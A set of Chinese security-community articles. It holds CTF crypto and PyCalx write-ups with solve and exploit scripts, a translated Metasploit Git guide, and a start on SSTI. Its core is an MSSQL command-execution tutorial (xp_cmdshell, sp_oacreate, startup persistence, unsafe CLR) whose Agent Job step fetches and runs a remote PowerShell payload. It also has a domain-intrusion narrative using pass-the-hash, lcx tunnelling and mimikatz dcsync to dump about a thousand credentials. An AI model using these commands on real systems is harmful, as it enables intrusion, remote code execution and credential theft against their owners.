N`的值，继而恢复整个`X_i`的序列。接下来，为了解密密文，我们需要分解`N`，根据二次同余的推论：
x^2 ≡ y^2 (MOD N) -> x ≡ k * y (MOD N)
其中`k`满足：
k^2 ≡ 1 (MOD N)
将同余式写成等式：
(k - 1) * (k + 1) = g * N = g * p * q = (g_0 * p) * (g_1 * q)
因此当`k`不等于1或-1时，我们可以通过计算`gcd(k - 1, p)`和`gcd(k + 1, q)`来计算出`p`和`q`的值继而分解`N`。
接下来我们利用这一方法从我们已有的表达式中计算出这样的一个`k`来分解`N`，对于我们本题中的920组数据：
t_0^2 ≡ c^2 * X_0 (MOD N)
t_1^2 ≡ c^2 * X_1 (MOD N)
...
t_919^2 ≡ c^2 * X_919 (MOD N)
如果我们从其中选取`w`个表达式相乘，当`w`为偶数时，那么同余式左边由`t_i^2`累乘得到的项可以看成`(t_0 * t_1 * ... *
t_w)^2`，同余式右边由`c^2`累乘得到的项可以看成`(c^w)^2`，当剩下的这`w`个`X_i`相乘得到的项也可以写为一个项的平方时，我们即构造出了一个上面所提到的分解`N`所需的表达式，由于这里`t_i`、`X_i`和`c^2`在模`N`下的值我们均已知，因此我们可以直接计算出`k`的值，继而按照上面的方法分解`N`，因此接下来我们只需从这920组数据当中找出符合条件的`w`组即可。
为了找到这样的`w`组数据，我们可以将每个`X_i`展开为若干素数`prime_i`乘积的形式，然后记录下每个`prime_i`的指数的奇偶性，这样一来可以将其看作一个GF(2)上的920维行向量，由于我们有920组数据，因此可以列出一个920
*
920的矩阵，这样一来寻找若干`X_i`相乘的结果其指数为偶数的问题就转化为了寻找若干`prime_i`其指数之和在GF(2)下为0的问题，因此我们直接对该矩阵求left
kernel
matrix即可，这样一来我们可以得到若干组`res`向量，其中每一个`res`向量中值为1的下标对应着我们的920组数据当中应当选取的`X_i`的下标，同时为了保证`w`为偶数，我们还需要选择`res`向量中1的个数为偶数的向量，在本题的数据中，我们一共得到了两组`res`向量，其中一组中1的个数为奇数、一组中1的个数为偶数，我们选择偶数这组即可，然后按照上述过程计算出`k`，既而即可分解`N`求出私钥`d`。
最后由于我们目前知道的仅为`c^2 MOD
N`的值，因此我们可以先对其做rabin解密，拿到4组可能的`c`的值，再依次对其做RSA解密从其中找到`FLAG`即可。
### 解题脚本
#!/usr/bin/env python3
import re
from Crypto.Util.number import long_to_bytes, sieve_base
def rabin_decrypt(ct, sk, N):
p, q = sk
inv_p = inverse_mod(p, q)
inv_q = inverse_mod(q, p)
m_p = power_mod(ct, (p + 1) // 4, p)
m_q = power_mod(ct, (q + 1) // 4, q)
a = (inv_p * p * m_q + inv_q * q * m_p) % N
b = N - a
c = (inv_p * p * m_q - inv_q * q * m_p) % N
d = N - c
return [a, b, c, d]
f = open("output.txt", "r")
N = Integer(re.findall(r"\d+", f.readline())[0])
token_list = [Integer(re.findall(r"\d+", f.readline())[1]) for _ in range(920)]
token_square_list = [power_mod(i, 2, N) for i in token_list]
SIZE_0 = 64
SIZE_1 = 920
M = identity_matrix(ZZ, SIZE_0) * N
M = M.stack(vector(ZZ, token_square_list[: SIZE_0]))
res = M.LLL()
X_list = []
X_list.append(res[1][0])
c_square = (token_square_list[0] * inverse_mod(X_list[0], N)) % N
X_list = X_list + [Integer((token_square_list[i] * inverse_mod(c_square, N)) % N) for i in range(1, SIZE_1)]
prime_list = []
for prime in sieve_base:
for X in X_list:
if X % prime == 0:
prime_list.append(prime)
break
A = list(matrix(ZZ, 920, 920))
for i in range(len(X_list)):
for prime, exponent in list(factor(X_list[i])):
A[i][prime_list.index(prime)] = exponent
A = matrix(GF(2), A)
res_list = A.left_kernel().basis()
res = 0
for i in range(len(res_list)):
if list(res_list[i]).count(1) % 2 == 0:
res = res_list[i]
break
cnt = list(res).count(1)
token_square_pro = 1
X_pro = 1
for i in range(SIZE_1):
if res[i] == 1:
token_square_pro *= token_list[i]
X_pro *= X_list[i]
X_pro_sqrt = X_pro.nth_root(2, True)[0]
k = (((token_square_pro * inverse_mod(X_pro_sqrt, N)) % N) * power_mod(c_square, -(cnt // 2), N)) % N
p = gcd(k - 1, N)
q = gcd(k + 1, N)
assert is_prime(p) and is_prime(q)
assert p * q == N
ct_list = rabin_decrypt(c_square, (p, q), N)
for ct in ct_list:
d = inverse_mod(65537, (p - 1) * (q - 1))
pt = power_mod(ct, d, N)
FLAG = long_to_bytes(pt)
if FLAG.startswith(b"n1ctf"):
print(FLAG)
# n1ctf{b9e7d419-0df8-438a-9120-efdf3ddf155f}
## n1token2
Name | Category | Points | Solves
---|---|---|---
n1token2 | CRYPTO | 833 / 1000 | 3
[attachments](https://github.com/roadicing/ctf-writeups/tree/main/2021/n1ctf/n1token2/attachments).
### 题目描述
> None
### 题目描述
设本题中`y = f(x)`的表达式为：
f(x) ≡ e + SECRET_0 * x + SECRET_1 * x^2 + ... + SECRET_15 * x^16 (MOD p)
我们已知`f(1)`至`f(250)`共计250个式子的值，但是在每一个式子中，`e`为`[1, 20, 113, 149,
219]`中的一个随机值，这里有些类似LWE（learning with
erros）的场景，由于引入了错误`e`的存在，因此我们不能直接在此基础上通过解方程来拿到`SECRET`的值。
虽然我们不能直接解方程，但是我们可以构造一个新的方程，不管每次e的值为多少，必有：
(f(x) - e_0) * (f(x) - e_1) * (f(x) - e_2) * (f(x) - e_3) * (f(x) - e_4) ≡ 0 (MOD p)
即：
A_i * f(x)^5 + B_i * f(x)^4 + C_i * f(x)^3 + D_i * f(x)^2 + E_i * f(x) + F_i ≡ 0 (MOD p)
如果此时我们变化一下，将`f(x)`中的系数`SECRET`看成未知数，将`f(x)`到`f(x)^5`看成5个独立的多项式，由于`f(x)`中包含16个单项，那么上式共引入`(16
+ 1) + (32 + 1) + (48 + 1) + (64 + 1) + (80 + 1) = 245`项，因此我们可以列出一个245 *
250的系数矩阵，该矩阵的每一行分别由`E_i`、`D_i`、`C_i`、`B_i`和`A_i`同这`(16 + 1)`、`(32 + 1)`、`(48 +
1)`、`(64 + 1)`和`(80 + 1)`项相乘构造而来，而该系数矩阵对应的同余方程右侧的值向量中的每个值即为`(-F_i) % p = p -F_i`，然后我们直接在模`p`下解该方程组，取结果的下标为1到16的项即为`SECRET`，继而恢复出`FLAG`。
### 解题脚本
#!/usr/bin/env sage
from Crypto.Util.number import long_to_bytes
p = 251
e = [1, 20, 113, 149, 219]
y = list(bytes.fromhex("1d85d235d08dfa0f0593b1cfd41d3c98f2a542b2bf7a614c5d22ea787e326b4fd37cd6f68634d9bdf5f618605308d4bb16cb9b9190c0cb526e9b09533f19698b9be89b2e88ba00e80e44d6039d3c15555d780a6a2dbd14d8e57f1252334f16daef316ca692c02485684faee279d7bd926501c0872d01e62bc4d8baf55789b541358dfaa06d11528748534103a80c699a983c385e494a8612f4f124bd0b2747277182cec061c68197c5b105a22d9354be9e436c8393e3d2825e94f986a18bd6df9ab134168297c2e79eee5dc6ef15386b96b408b319f53b66c6e55b3b7d1a2a2930e9d34287b74799a59ab3f56a31ae3e9ffa73362e28f5751f79"))
P.<x> = PolynomialRing(GF(p))
M = [[] for _ in range(p - 1)]
b = []
for x_v in range(p - 1):
f = (x + e[0] - y[x_v]) * (x + e[1] - y[x_v]) * (x + e[2] - y[x_v]) * (x + e[3] - y[x_v]) * (x + e[4] - y[x_v])
coeff = f.coefficients(sparse = False)
M[x_v] += [(coeff[1] * power_mod(x_v + 1, i, p)) % p for i in range(16 + 1)]
M[x_v] += [(coeff[2] * power_mod(x_v + 1, i, p)) % p for i in range(32 + 1)]
M[x_v] += [(coeff[3] * power_mod(x_v + 1, i, p)) % p for i in range(48 + 1)]
M[x_v] += [(coeff[4] * power_mod(x_v + 1, i, p)) % p for i in range(64 + 1)]
M[x_v] += [(coeff[5] * power_mod(x_v + 1, i, p)) % p for i in range(80 + 1)]
b.append(p - coeff[0])
M = matrix(GF(p), M)
b = vector(GF(p), b)
res = M.solve_right(b)
SECRET = b''.join(map(lambda x: bytes([x]), res[1: 16 + 1]))
FLAG = "n1ctf{" + SECRET.hex() + "}"
print(FLAG)
# n1ctf{c5cc7404dc79e7a9d57ab19040a82f5a} | 社区文章 |
## 0x00 简介
渗透测试过程中，大家经常会碰到通过MSSQL来进行提权或执行系统命令之类的操作，通常我们经常会使用xp_cmdshell来进行执行系统命令，但是当xp_cmdshell不能使用的时候，我们还有什么别的方式么？本文将介绍与分享一下我自己学到的一些姿势。
## 0x01 常用的一些姿势
### 1\. XP_CMDSHELL
这个大家都比较熟悉了，通过xp_cmdshell来执行命令，可使用以下语句来执行:
exec master..xp_cmdshell "whoami"
默认情况下xp_cmdshell 是禁止的，如下图：
这个时候，可以使用以下命令进行开启：
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
关闭一样,只是将上面的后面的那个"1"改成"0"就可以了。
开启以后，则可执行系统命令
如果xp_cmdshell被删除，可以尝试上传xplog70.dll进行恢复，恢复语句：
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
### 2\. SP_OACREATE
当xp_cmdshell 删除以后，可以使用SP_OACreate。
首先要打开组件：
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
之后使用以下语句执行命令：
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'
>这里要注意一下，此方式执行是无回显的
### 3\. 自启动
以下方式需要电脑重启。
添加注册表：
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','exec','REG_SZ','ipconfig'
备份添加启动项：
alter database test set RECOVERY FULL-- (把SQL设置成日志完全恢复模式)
create table cmd (a image)-- (新建立一个cmd表)
backup database test to disk = 'D:\\temp\\cmd' WITH init -- backup log test to disk = 'D:\\temp\\cmd1' WITH init -- (减少备分数据的大小)
insert into cmd (a) values (0x0a406563686f206f66660d0a406563686f206f66660d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a400d0a40)
-- (插入cmd命令)
backup log test to disk = 'C:\\Documents and Settings\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.bat'-- (备分日志到启动路径）
drop table cmd --(删除新建的cmd表）
alter database test set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)
>测试发现，Win10+MSSQL 2012导出的批处理并不能顺利执行，可能与系统及数据库版本有一定关系，成功率并不怎么高。
### 4\. 通过沙盒执行命令
开启沙盒：
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb执行命令：
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')
## 0x02 通过Agent Job执行命令
此种方式适用于服务器`开启了MSSQL Agent Job服务`，并且服务器中`当前运行的用户账号拥有足够的权限去创建并执行代理作业`的情况。
利用代码如下：
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';
关于此种方式已经有文章进行介绍，有兴趣可以阅读一下。[戳我](http://bobao.360.cn/learning/detail/3070.html)
## 0x03 SQL Server CLR
这种方式是最近才学到的，也是本文重点介绍的一种姿势。
Microsoft SQL Server 现在具备与 Microsoft Windows .NET Framework 的公共语言运行时 (CLR)
组件集成的功能。CLR 为托管代码提供服务，例如跨语言集成、代码访问安全性、对象生存期管理以及调试和分析支持。对于 SQL Server
用户和应用程序开发人员来说，CLR 集成意味着您现在可以使用任何 .NET Framework 语言（包括 Microsoft Visual Basic
.NET 和 Microsoft Visual C#）编写存储过程、触发器、用户定义类型、用户定义函数（标量函数和表值函数）以及用户定义的聚合函数。
要通过此种方式来执行命令，也有几个前提：
1、`在SQL Server上能启用CLR并可以创建自定义存储过程`
2、`SQL Server当前账号具有执行命令/代码所需要的权限`
创建CLR有两种方式:
方式一：使用DLL文件进行创建
CREATE ASSEMBLY AssemblyName from ‘DLLPath’
方式二：使用文件16进制流进行创建
CREATE ASSEMBLY AssemblyName from 文件十六进制流
对于做渗透的我们，当然是没有文件是最好的方式了，因此，本文主要介绍方式二。以下为详细测试步骤：
1、安装Visual Studio和SQL Server数据库，此次测试使用了VS2015跟SQL2012。
2、创建一个新的SQL Server数据库项目
3、设置项目属性，目标平台修改为需要的目标平台，如SQL Server 2012; `将SQLCLR权限级别修改为UNSAFE`；修改.Net
框架版本为自己需要的版本；`语言选择C#`。
4、右键项目，选择添加->新建项，新建SQL CLR C# 存储过程
5、填入以下测试代码：
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void SqlStoredProcedure1 ()
{
// 在此处放置代码
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/C whoami > d:\\temp\\1.txt";
process.Start();
}
}
6、填入代码以后进行编译，之后到编译目录下可以看到一个`dacpac`后缀的文件。
7、双击此文件进行解压，将解压出一个名为mode.sql的文件。
8、执行SQL文件中的以下语句
CREATE ASSEMBLY [ExecCode]
AUTHORIZATION [dbo]
FROM 0x4D5A[...snip...]
WITH PERMISSION_SET = UNSAFE;
之后执行：
CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]
9、开启数据库服务器配置选项clr enabled
EXEC sp_configure N'show advanced options', N'1'
RECONFIGURE WITH OVERRIDE
--开启clr enabled 选项
EXEC sp_configure N'clr enabled', N'1'
RECONFIGURE WITH OVERRIDE
--关闭所有服务器配置选项
EXEC sp_configure N'show advanced options', N'0'
RECONFIGURE WITH OVERRIDE
--如果存在权限问题，执行下面一段脚本
alter database [master] set TRUSTWORTHY on
EXEC sp_changedbowner 'sa'
10、执行命令：
EXEC [dbo].[SqlStoredProcedure1];
>如果没成功，可以换个数据库试试看。
11、删除存储过程
DROP PROCEDURE [dbo].[SqlStoredProcedure1];
DROP ASSEMBLY ExecCode;
## 0x04 PowerUpSQL
当然针对SQL
Server的攻击，有一个强大的工具[PowerUpSQL](https://github.com/NetSPI/PowerUpSQL)，里面也有很多针对MSSQL的攻击方式。下面介绍两种比较实用的方式。
### 1\. SP_Addextendedproc
套件中的`Create-SQLFileXpDll`方法，在这里对其使用方式简单的进行一下介绍。
创建DLL：
PS C:\Users\Evi1cg\Desktop\PowerUpSQL> . .\PowerUpSQL.ps1
PS C:\Users\Evi1cg\Desktop\PowerUpSQL> Create-SQLFileXpDll -OutFile D:\temp\exec.dll -Command "echo Exec test > D:\temp\
test.txt" -ExportName xp_test
SQL Server 通过 sp_addextendedproc 调用DLL从而达到命令执行的效果。这里有两种方式导入：
//via local disk
sp_addextendedproc 'xp_test', 'D:\temp\exec.dll'
//via UNC path:
sp_addextendedproc 'xp_test', '\\servername\pathtofile\exec.dll'
导入之后的可调用xp_test来执行命令：
exec master..xp_test;
通过以下命令可以卸载：
sp_dropextendedproc 'xp_test'
### 2\. SMB Relay Attacks
针对这种方式，已经有文章总结了，这里就不多做介绍了，详细请看[这里](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/)。
## 0x05 小结
本文就通过SQL Server
执行系统命令进行了一下小结，当然方式可能不全，仅仅是自己知道的一些方法，还希望大牛别喷，如果您有什么更加新颖的方法，欢迎补充，希望本文对你有所帮助。
## 0x06 参考
1.<http://bobao.360.cn/learning/detail/3070.html>
2.<https://www.mssqltips.com/sqlservertip/2087/how-to-execute-a-dos-command-when-xpcmdshell-is-disabled-in-sql-server/>
3.<http://blog.csdn.net/tjvictor/article/details/4726933>
4.<https://www.mssqltips.com/sqlservertip/1662/writing-to-an-operating-system-file-using-the-sql-server-sqlclr/>
5.<https://www.t00ls.net/viewthread/23198.html?amp;extra=page%3D1%26amp%3Bfilter%3Dtype%26amp%3Btypeid%3D39> | 社区文章 |
* * *
* 原文地址：<https://github.com/rapid7/metasploit-framework/wiki/Using-Git>
* 译者：王一航 & Google 2018-05-15
* 校对：王一航 2018-05-15
* * *
使用下面的资源来在 Metasploit 框架的 Git 仓库上工作。
* * *
* [Cheatsheet](https://github.com/rapid7/metasploit-framework/wiki/Git-cheatsheet)
* [Reference Sites](https://github.com/rapid7/metasploit-framework/wiki/Git-Reference-Sites)
* [Metasploit Development Environment](https://github.com/rapid7/metasploit-framework/wiki/Metasploit-development-environment) \- 这篇文章会逐步指导你创建一个 Pull Request
* [Landing Pull Requests](https://github.com/rapid7/metasploit-framework/wiki/Landing-Pull-Requests) \- 这是 Metasploit 核心开发者合并您的 Pull Request 的过程
* [Remote Branch Pruning](https://github.com/rapid7/metasploit-framework/wiki/Remote-Branch-Pruning)
fork 这个概念是指你可以对一个仓库进行一个快照，并且存储至你自己的仓库，你可能是在 github.com
网站上进行这个操作。并且通常情况下你是对主分支进行快照，而且你会将你的 fork 克隆到本地机器。
然后你可以创建你自己的分支（译者注：branch），这些你自己创建的分支（译者注：branch）属于你的 GitHub 的仓库（译者注：你在 GitHub
上 Fork 的仓库是原始仓库的一个 fork，而不是 branch，这两个单词意思有点接近，需要注意区分一下）。这些快照即使被推送到你的 GitHub
也不是原始代码库（这里特指：rapid7/metasploit-framework）的一部分。
接着，当你一个提交了一个 Pull Request，你的分支（译者注：branch）（通常情况下）将会被拉取到源仓库的 master
分值（一般情况下是这样... 但是如果你的代码对仓库有巨大的修改或者其他原因，你可能会被拉到一个实验性的分支中，但是这种情况并不是典型情况）
你只需要进行 **一次** fork
操作，您可以不限次数将代码克隆您想要用来编码的机器，并且您的分支（译者注：branch）、提交（译者注：commit）和推送（译者注：push）（当然您并不总是必须推送，您可以稍后推送或不推送，这完全可以，但是在创建
Pull Request 之前，你必须先将你的本地修改 Push 到远程仓库，也就是 GitHub 上你的远程仓库），然后在你准备好时提交一个 Pull
Request（译者注：有时简写为 PR）。 见下文
github.com/rapid7/metasploit-framework --> fork --> github.com/<...>/metasploit-framework
^ |
| git clone git://github.com/<...>/metasploit-framework.git
| |
`-- accepted <-- pull request V
^ /home/<...>/repo/metasploit-framework
| | | |
github.com/<...>/metasploit-framework/branch_xyz | | |
| | V V
| V branch_abc ...
`-- push <-- branch_xyz
感谢 kernelsmith 的卓越描述 | 社区文章 |
## 前言
<https://xz.aliyun.com/t/9906>
上次说到,探测到内网三台主机有ms17010的漏洞,准备深挖一波。
## MS17010
cs上还是不太好打,派生个会话给msf。我的vps是windows
server的,一开始下了个windows版的msf在vps上,但是添加路由的时候一直说我参数不对,就不知道咋回事。
还是算了,就搞个代理到本机用虚拟机kali吧。我用的是frp,vps当server,虚拟机当client
vps配置`frps.ini`
配一个端口
kali配置`frpc.ini`
然后vps上命令行启动frps.exe
`frps.exe -c frps.ini`
kali执行
`frpc.exe -c frpc.ini`
这样就可以愉快的派生会话了,但是这里最后打的时候三台主机没一台能打下来。首先三台主机都没有开启管道,只能用eterblue模块,最后也没成功,这个域系统安全性还是比较高的。
## pth
没办法,系统漏洞一台拿不了,但是通过端口扫描发现大量主机开启445端口,于是还是先pass the hash
批量撞一波
断断续续拿下不少主机
这时就一台一台的信息收集
## rdp劫持会话
在27这台主机上发现,有两个会话,上面是我们已知账号和明文密码的普通域内账户,而下面这个用户经过比对,为域中域管用户。
由于我们自身权限也高,这里就想rdp上去劫持该会话(当时打的时候比较激动,没注意看这个会话是失效的,这里还是记录一下)
看眼时间,应该在休息呢
lcx设置代理
目标机器上
`shell C:\Windows\system32\lcx.exe -slave 公网ip 7212 127.0.0.1 3389`
vps上
`lcx -listen 7212 5555`
在cs上执行`shell tscon 2`
他说没有权限。
在目标机器执行的时候提示错误的密码,猜想大概是会话断联的原因。如果STATE是active应该是没问题的。
## 拿下DC
将所有拿下的主机的hash全部dump出来,整合后发现有Administrator的账户hash,且是域中账户,而在域中Administrator是作为域管账户的。
445端口开启
尝试pth
失败了,如果不能pth这个hash将索然无味,又不能拿到明文
这里搞了很久,然后又回去信息收集。
搞来搞去搞了很久,还是那么7、8台主机,最后也是没办法,把所有Administrator用户的hash全部pass了一遍,终于拿下了域控
导出ntds,抓下密码,这里使用mimikatz
`lsadump::dcsync /domain:xxx /all /csv command`
将近一千个用户,RDP他们好像随时都是连着的。
想3389上去看一下,找一个没有连接的用户
找到该用户的hash拿去解密
舒服了
收工,准备吃晚饭了
## 后记
这个域断断续续打了好几天,最后还好打完了,因为一开始不确定自己能不能打完,所以很多图当时都没截下来,我的思路操作就是这样的,怎么打的、怎么想的,我就怎么写。如果有师傅在过程中有更好的思路,欢迎赐教。
最后欢迎关注团队公众号：红队蓝军 | 社区文章 |
# PyCalx
> This code is supposed to be unexploitable :/ another pyjail?
> [[Source]](http://178.128.96.203/cgi-bin/server.py?source=1)
> [Try this ](http://178.128.96.203/cgi-> bin/server.py?value1=123&op=%3D%3D&value2=123)or
> [this](http://178.128.96.203/cgi-> bin/server.py?value1=abc&op=%3D%3D&value2=abc)
> Notice: The flag may contain non alphabetic characters (but still
> printable)
本题是由Python的 `eval()` 函数参数可控且直接拼接引发的注入，采用二分法盲注。
server.py源码如下：
#!/usr/bin/env python
import cgi
import sys
from html import escape
FLAG = open('/var/www/flag', 'r').read()
OK_200 = "some HTML code"
print(OK_200)
arguments = cgi.FieldStorage()
if 'source' in arguments:
source = arguments['source'].value
else:
source = 0
if source == '1':
print('<pre>' + escape(str(open(__file__, 'r').read())) + '</pre>')
if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:
def get_value(val):
val = str(val)[:64]
if str(val).isdigit(): return int(val)
blacklist = ['(', ')', '[', ']', '\'',
'"'] # I don't like tuple, list and dict.
if val == '' or [c for c in blacklist if c in val] != []:
print('<center>Invalid value</center>')
sys.exit(0)
return val
def get_op(val):
val = str(val)[:2]
list_ops = ['+', '-', '/', '*', '=', '!']
if val == '' or val[0] not in list_ops:
print('<center>Invalid op</center>')
sys.exit(0)
return val
op = get_op(arguments['op'].value)
value1 = get_value(arguments['value1'].value)
value2 = get_value(arguments['value2'].value)
if str(value1).isdigit() ^ str(value2).isdigit():
print('<center>Types of the values don\'t match</center>')
sys.exit(0)
calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
print(
'<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8"><pre>'
)
print('>>>> print(' + escape(calc_eval) + ')')
try:
result = str(eval(calc_eval))
if result.isdigit() or result == 'True' or result == 'False':
print(result)
else:
print(
"Invalid"
) # Sorry we don't support output as a string due to security issue.
except:
print("Invalid")
print('>>> </pre></div></div></div>')
大意如下：
* cgi会处理source，value1，value2，op四个参数。
* 如果source=1则打印源代码。
* value1，value2，op三个参数都有值时进一步处理。
* value1，value2至少1个字符，至多64个，且不包含黑名单`()[]'"` 里的字符。
* op至少1个字符，至多2个，且首字符必须在白名单`+-*/=!` 里。
* value1,value2要么都是只包含`[0-9]`，要么都包含其他字符。
* 执行`str(eval(str(repr(value1)) + str(op) + str(repr(value2))))` ，且只有结果是bool值或只包含`[0-9]` 时才会输出。
* 注：repr返回对象的可打印形式，和反引号包裹效果一致，对大多数类型，他会返有一个字符串，使其可以作为代码直接传入eval执行。
解题思路：`op` 允许两个字符，且第二个字符是任意的，那么如果是一个单引号，就能混淆代码和数据，起到类似SQL注入的效果。
>>> print(str(repr("a"))+str("+")+str(repr("b")))
'a'+'b'
>>> print(str(repr("a"))+str("+'")+str(repr("< b#")))
'a'+''< b#'
解题脚本：
import requests, re
def calc(v1, v2, op, s):
u = "http://178.128.96.203/cgi-bin/server.py?"
payload = dict(value1=v1, value2=v2, op=op, source=s)
# print payload
r = requests.get(u, params=payload)
# print r.url
res = re.findall("<pre>\n>>>>([\s\S]*)\n>>> <\/pre>",
r.content)[0].split('\n')[1]
assert (res != 'Invalid')
return res == 'True'
# print r.content
def check(mid):
s = flag + chr(mid)
return calc(v1, v2, op, s)
def bin_search(seq=xrange(0x20, 0x80), lo=0, hi=None):
assert (lo >= 0)
if hi == None: hi = len(seq)
while lo < hi:
mid = (lo + hi) // 2
# print lo, mid, hi, "\t",
if check(seq[mid]): hi = mid
else: lo = mid + 1
return seq[lo]
flag = ''
v1, v2, op, s = 'x', "+FLAG<value1+source#", "+'", ''
while (1):
flag += chr(bin_search() - 1)
print flag
# MeePwnCTF{python3.66666666666666_([_((you_passed_this?]]]]]])}
# PyCalx2
> You should solve `PyCalx` first.
>
> <http://206.189.223.3/cgi-bin/server.py?source=1>
`server.py` 只改动了一行代码，将`op = get_op(arguments['op'].value)` 变成了 `op =
get_op(get_value(arguments['op'].value))` ，也就是说将`op` 参数也进行了黑名单过滤，于是 `op`
的第二个字符就不能是单引号，第一题的方法也就失效了。
结合题目提示和第一题的flag去寻找Python3.6的新特性，用到了这个 `f-string` ，详见[PEP 498 -- Literal String
Interpolation](https://www.python.org/dev/peps/pep-0498/)
。简言之就是可以在字符串中方便地直接插入表达式，以`f` 开头，表达式插在大括号`{}` 里，在运行时表达式会被计算并替换成对应的值。
本题主要是利用这个特性在字符串里插入比较的表达式，剩下的就和上题一样了。插法不尽相同：
>>> str(repr('T'))+str('+f')+str(repr('ru{FLAG<source or 14:x}')) # 14的十六进制表示时'e'
"'T'+f'ru{FLAG<source or 14:x}'"
>>> eval(str(repr('T'))+str('+f')+str(repr('ru{1 or 14:x}')))
'Tru1' # 返回Invalid
>>> eval(str(repr('T'))+str('+f')+str(repr('ru{0 or 14:x}')))
'True'
>>> str(repr('Tru'))+str('+f')+str(repr('{sys.exit.__name__:{FLAG<source:1}.1}'))
"'Tru'+f'{sys.exit.__name__:{FLAG<source:1}.1}'"
# {FLAG<source:1}的值相当于printf("%1f",FLAG<source)的结果，有0和1两种可能。
#这边sys.exit.__name__等价于字符串'exit'，考虑到已经import escape，直接用escape.__name__也可。
>>> eval(str(repr('Tru'))+str('+f')+str(repr('{sys.exit.__name__:{1:1}.1}')))
'True'
>>> eval(str(repr('Tru'))+str('+f')+str(repr('{sys.exit.__name__:{0:1}.1}')))
#报错，返回Invalid
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
ValueError: '=' alignment not allowed in string format specifier
>>>
解题脚本：
import requests, re
def calc(v1, v2, op, s):
u = "http://206.189.223.3/cgi-bin/server.py?"
payload = dict(value1=v1, value2=v2, op=op, source=s)
r = requests.get(u, params=payload)
res = re.findall("<pre>\n>>>>([\s\S]*)\n>>> <\/pre>",
r.content)[0].split('\n')[1]
return res == 'Invalid'
def check(mid):
s = flag + chr(mid)
return calc(v1, v2, op, s)
def bin_search(seq=xrange(0x20, 0x80), lo=0, hi=None):
assert (lo >= 0)
if hi == None: hi = len(seq)
while lo < hi:
mid = (lo + hi) // 2
if check(seq[mid]): hi = mid
else: lo = mid + 1
return seq[lo]
flag = ''
v1, op, v2, s = 'T', "+f", "ru{FLAG<source or 14:x}", 'a'
while (1):
flag += chr(bin_search() - 1)
print flag
# MeePwnCTF{python3.6[_strikes_backkkkkkkkkkkk)} | 社区文章 |
# 前言
在学习ssti模版注入的时候，发现国内文章对于都是基于python基础之上的，对于基础代码讲的较少，而对于一些从事安全的新手师傅们，可能python只停留在写脚本上，所以上手的时候可能有点难度，毕竟不是搞python
flask开发。就本人学习ssti而言，入手有点难度，所以特写此文，对于一些不需要深究python但是需要学习ssti的师傅，本文可能让你对flask的ssti有所了解。
# ssti漏洞成因
ssti服务端模板注入，ssti主要为python的一些框架 jinja2 mako tornado django，PHP框架smarty
twig，java框架jade
velocity等等使用了渲染函数时，由于代码不规范或信任了用户输入而导致了服务端模板注入，模板渲染其实并没有漏洞，主要是程序员对代码不规范不严谨造成了模板注入漏洞，造成模板可控。本文着重对flask模板注入进行浅析。
# 模板引擎
首先我们先讲解下什么是模板引擎，为什么需要模板，模板引擎可以让（网站）程序实现界面与数据分离，业务代码与逻辑代码的分离，这大大提升了开发效率，良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题，虽然模板引擎会提供沙箱机制，但同样存在沙箱逃逸技术来绕过。
模板只是一种提供给程序来解析的一种语法，换句话说，模板是用于从数据（变量）到实际的视觉表现（HTML代码）这项工作的一种实现手段，而这种手段不论在前端还是后端都有应用。
通俗点理解：拿到数据，塞到模板里，然后让渲染引擎将赛进去的东西生成 html 的文本，返回给浏览器，这样做的好处展示数据快，大大提升效率。
后端渲染：浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串，计算就是服务器后端经过解析服务器端的模板来完成的，后端渲染的好处是对前端浏览器的压力较小，主要任务在服务器端就已经完成。
前端渲染：前端渲染相反，是浏览器从服务器得到信息，可能是json等数据包封装的数据，也可能是html代码，他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前，好处是对于服务器后端压力较小，主要渲染在用户的客户端完成。
让我们用例子来简析模板渲染。
<html>
<div>{$what}</div>
</html>
